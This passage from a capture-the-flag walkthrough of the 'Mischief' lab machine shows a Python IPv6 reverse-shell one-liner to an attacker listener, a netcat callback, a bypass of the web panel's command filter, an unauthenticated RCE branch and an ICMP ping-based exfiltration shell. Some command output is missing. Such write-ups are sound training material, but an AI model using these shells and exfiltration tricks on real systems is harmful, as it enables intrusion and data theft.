loki@Mischief:~$ systemd-run python -c ‘import socket,os,pty; s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM); s.connect((“dead:beef:2::1009”,31337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv(“HISTFILE”,”/dev/null”); pty.spawn(“/bin/sh”); s.close()’

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===

Authentication is required to manage system services or other units.

Authenticating as: root

Password: lokipasswordmischieftrickery


Running as unit: run-u19.service

Getting the callback.

root@kali:~# nc -lvnp 31337

Ncat: Version 7.70 ( )

Ncat: Listening on :::31337

Ncat: Listening on

Ncat: Connection from dead:beef::250:56ff:feb9:7caa.

Ncat: Connection from dead:beef::250:56ff:feb9:7caa:47312.

root@kali:~# whoami



Searching for root txt

After getting a root session with any of the above methods and opening /root/root.txt, you won’t find the flag there.

root@Mischief:~# cat root.txt

The flag is not here, get a shell to find it!

Based on the message, the VM creator assumes that I don’t have a shell yet. But I have one; so, it won’t be a big deal to find the real flag of the fully privileged root user.

root@Mischief:~# find / -type f -name root.txt 2>/dev/null




root@Mischief:~# cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt


That’s it: the host is under my full control.


RCE without authentication

It’s funny, but only after completing the task of hacking Mischief VM, I realized that it is possible to execute commands in the Command Execution Panel without authentication. Just look at the source code of the web page /var/www/html/index.php.

As you can see, the branch if(isset($_POST['command'])) does not require authentication! In other words, I could avoid spending time on the retrieval of cookies while writing the Bash scripts. It was possible to find this out prior to PWNing the user; all I had to do was brute-force the request parameters using, for instance, wfuzz.


Now let’s see how the Command Execution Panel is filtering commands. For that purpose, I have to go to /var/www/html and examine index.php.

As expected, there are plenty of elseif expressions with conditions strpos($cmd, "STRING") !== false. The best way to bypass such filters is to use the * symbol for command autocompletion (which is exactly what I have done). By the way, all the blocked commands can be retrieved by the following string:

loki@Mischief:/var/www/html$ cat index.php | grep strpos | cut -d ‘”‘ -f2
















In the same segment of the source code, you can find the origin of the bug affecting the output of stacked commands: if they are stacked with ;, only the result of the last command in the chain is sent to /dev/null.

ICMP shell

This is the most creative part of the journey. Let’s imagine that I hadn’t found a way to view command results directly in the browser (this is exactly what the author had expected). In such a situation, I would have no choice but to create an ICMP shell.

What is an ICMP shell? Remember the only legitimate command in the Command Execution Panel? (Just in case: it was ping.) If you open its manual, you will see an interesting flag that can help to overcome the obstacles created by the author:

-p pattern

You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network.
For example, -p ff will cause the sent packet to be filled with all ones.

The ping command allows to send 16 arbitrary ‘diagnostic’ bytes with each ICMP request. Accordingly, if I send the results of the commands executed on the host as these bytes, I will get a shell. A simple and imperfect one, but still a shell! This is enough to identify vulnerabilities on the target machine.

Core of the shell

The following bash injection will become the core of the future shell:

Let me explain the commands (from left to right):

  1. Squiggle brackets stack together outputs of the two commands: the command set by the ICMP shell operator ($CMD) and the stop marker record (echo STOPSTOPSTOPSTOP; its purpose will be explained below).
  2. The stdout stream is combined with stderr to see error messages.
  3. The result of the first two steps in the chain is sent to xxd -p that converts ASCII into hex.
  4. The tr -d command removes ‘\n’ (new line) characters.
  5. The fold -w inserts new line characters after each 32 symbols (remember, ping can send 16 bytes in one packet).
  6. In the while cycle, the organized result of the command converted into the hex format is read string-by-string (as said above, each string consists of 16 bytes), ping is triggered, and it sends one ICMP packet with each string it has read to the target host ($LHOST is the attacker’s machine) as ‘diagnostic bytes’.

Why do I need a stop marker? Let’s say, I want to get the output of the whoami command. The user’s name is root. After running the command (see below), I will see the displayed result: 726f6f740a. It consists of only ten symbols, which is less than 32.

In that case, the fold -w 32 instruction would be useless because the output length is less than the required length; so, the while cycle will have nothing to read (it won’t see the new line character and, accordingly, will decide that the output is empty).

Therefore, I added a stop marker with the length of 16 ASCII symbols (16 bytes, 32 hex symbols); its purpose is to ‘complete’ the program output (i.e. increase it to the required length) with the guaranteed jump to the next line. As a result, while reads and sends even short outputs.

To automate the process, I am going to write a Python script using the Scapy module; it will help to implement a sniffer for ICMP packets. As an alternative, you can use the impacket module (like in, but I prefer Scapy.

The result of its work is shown below: tcpdump is running in the lower panel and sniffing incoming ICMP packets. in effect in effect


I escalated to root and can finally review the iptables rules.

root@Mischief:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT udp -- anywhere anywhere udp spt:snmp

ACCEPT udp -- anywhere anywhere udp dpt:snmp

DROP udp -- anywhere anywhere

ACCEPT tcp -- anywhere anywhere tcp dpt:ssh

ACCEPT tcp -- anywhere anywhere tcp dpt:3366

DROP tcp -- anywhere anywhere

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

ACCEPT udp -- anywhere anywhere udp dpt:snmp

ACCEPT udp -- anywhere anywhere udp spt:snmp

DROP udp -- anywhere anywhere

ACCEPT tcp -- anywhere anywhere tcp spt:ssh

ACCEPT tcp -- anywhere anywhere tcp spt:3366

DROP tcp -- anywhere anywhere

Only UDP port 161 (snmp), TCP port 22 (ssh), and TCP port 3366 are allowed for incoming and outgoing traffic. Now let’s look at the ip6tables rules.

root@Mischief:~# ip6tables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

Everything is allowed! This explains why I managed to get an IPv6 reverse shell and could do nothing with IPv4.

“God Loki, the most cunning liar, the god of flame, mischief and deceit, the most charming of all gods in Norse mythology”



Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">